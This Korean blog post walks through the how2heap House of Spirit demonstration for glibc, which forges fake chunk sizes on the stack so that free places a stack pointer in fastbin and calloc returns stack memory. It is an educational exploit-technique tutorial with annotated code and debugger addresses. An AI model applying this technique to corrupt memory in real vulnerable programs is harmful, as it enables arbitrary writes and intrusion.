[Pwn] House of Spirit

코코·2023년 7월 24일
0

pwn

목록 보기
4/10
post-custom-banner

House of Spirit

free 함수의 인자를 조작하여, 임의의 메모리를 해제할 수 있을 때 사용할 수 있는 기법

해당 공격 기법을 통해 fastbin에 heap이 아닌 Pointer를 추가하여 임의 쓰기를 트리거할 수 있다.
기본적으로 대상 주소와 대상 메모리의 시작 & 끝을 설정할 수 있어야 한다.
Fake Chunk를 구성하여, 첫 번째 Chunk의 사이즈는 두 번째 Fake Chunk를 고려하여 입력한다.



예제코드는 how2heap에 있는 예제코드를 사용할 것이다.
해당 코드는 glibc-2.35에서 돌아가는 코드로 보인다. Ubuntu 환경은 Ubuntu 18.04.6 LTS 버전에서 진행한다.

int main()
{
	setbuf(stdout, NULL);

	puts("This file demonstrates the house of spirit attack.");
	puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
	puts("Required primitives: known target address, ability to set up the start/end of the target memory");

	puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
	void *chunks[7];
	for(int i=0; i<7; i++) {
		chunks[i] = malloc(0x30);
	}
	for(int i=0; i<7; i++) {
		free(chunks[i]);
	}

	puts("\nStep 2: Prepare the fake chunk");
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	long fake_chunks[10] __attribute__ ((aligned (0x10)));
	printf("The target fake chunk is at %p\n", fake_chunks);
	printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
	printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
	printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
	fake_chunks[1] = 0x40; // this is the size

	printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
	printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
	fake_chunks[9] = 0x1234; // nextsize

	puts("\nStep 3: Free the first fake chunk");
	puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
	void *victim = &fake_chunks[2];
	free(victim);

	puts("\nStep 4: Take out the fake chunk");
	printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]);
	printf("malloc can do the trick as well, you just need to do it for 8 times.");
	void *allocated = calloc(1, 0x30);
	printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);

	assert(allocated == victim);
}

우선 gcc를 통해 컴파일을 하고, 위에서부터 차근차근 살펴보자.


첫 번째 2번의 for문부터 살펴보자.

	setbuf(stdout, NULL);

	puts("This file demonstrates the house of spirit attack.");
	puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
	puts("Required primitives: known target address, ability to set up the start/end of the target memory");

	puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");

	void *chunks[7];
	for(int i=0; i<7; i++) {
		chunks[i] = malloc(0x30);
	}
    // b *main+171
	for(int i=0; i<7; i++) {
		free(chunks[i]);
	}

7번의 malloc을 호출하고, 다시 free를 7번 호출한다. 또한 free 되는 chunk들의 사이즈가 0x30(48)인 것으로 보아 free 될 경우, tcachebins(24~1032byte)에 들어간다.

위의 for문들을 실행하면, tcachebins에는 7개의 Chunk들이 들어있을 것이다.


이제 다음 부분을 살펴보자.
	long fake_chunks[10] __attribute__ ((aligned (0x10)));

    // aligned(0x10) -> 16바이트 단위로 메모리가 정렬되도록 설정.

    // 0x7fffffffe3d0
	printf("The target fake chunk is at %p\n", fake_chunks); 

    // 0x7fffffffe3d0 & 0x7fffffffe418
	printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);

이후에는 Fake Chunk로 구성할 변수의 주소를 출력한다.
Fake Chunk는 2개의 Chunk들로 구성되어야하며, 각 Chunk의 시작 주소가 각각 fake_chunk[1], fake_chunk[9]임을 알 수 있다.


	puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
	printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
    // 유효한 Chunk로 생각되게 하기 위해 size 값에 0x40 대입.
	fake_chunks[1] = 0x40; // this is the size

    // 2 * SIZESZ, 16보단 크고 av->system_mem보단 작아야할듯?
    // fastbin 사이즈일 필요는 없고, nextsize 무결성 검증을 통과해야함.
	printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
	printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
	fake_chunks[9] = 0x1234; // nextsize

이후에는 Fake Chunk들을 유효한 Chunk로 만들기 위해 첫 번째 Chunk의 사이즈를 0x40으로 설정. 두 번째 Chunk의 사이즈는 0x1234로 설정한다.

설명에도 써있듯이, 다음 영역의 사이즈는 2*SIZE_SZ보다 커야하고, av->system_mem보다 작아야한다. 즉, 16 < Fake_Chunk < 128KB(131,072 Bytes)여야한다.


	puts("\nStep 3: Free the first fake chunk");
	puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
	void *victim = &fake_chunks[2];
	free(victim);
    // into fastbins! b *main+327

이후에는 Fake_Chunk를 free시켜주는데, 이때 size를 fake_chunk[1]로 뒀으니 fake_chunk[2]의 주소를 free 함수의 인자로 주어야한다.

이러면 이제 fake_chunk가 fastbins에 들어가게 될 것이다!
fastbins를 보면, fake_chunk[2](Stack의 주소)가 들어가있는 것을 확인할 수 있다!


	puts("\nStep 4: Take out the fake chunk");
	printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); // 0x7fffffffe3e0 
	printf("malloc can do the trick as well, you just need to do it for 8 times.");
	void *allocated = calloc(1, 0x30); // rax = 0x7fffffffe3e0
	printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);

	assert(allocated == victim);

이후 calloc을 통해 할당받으면, fake_chunk[2]의 주소를 할당받게된다!
즉, Stack영역을 할당받아, Stack에 값을 쓸 수 있게 되는 것이다!



Summary

간단하게 요약하자면, malloc & free를 통해 tcachebins를 가득채우고, fake_Chunk를 구성해준다. fake_chunk는 2개의 chunk를 포함하도록 구성해준다.(tcachebins를 가득 채운 이유는 해제되는 Chunk를 fastbins에 넣기 위함.)
참고로 첫 번째 fake_chunk의 사이즈를 통해 다음 Chunk를 계산(첫 번째 Chunk의 주소 + 첫 번째 Chunk의 size)하므로 잘 넣어줘야한다.




how2heap
👉 https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_spirit.c

profile
화이팅!
post-custom-banner

0개의 댓글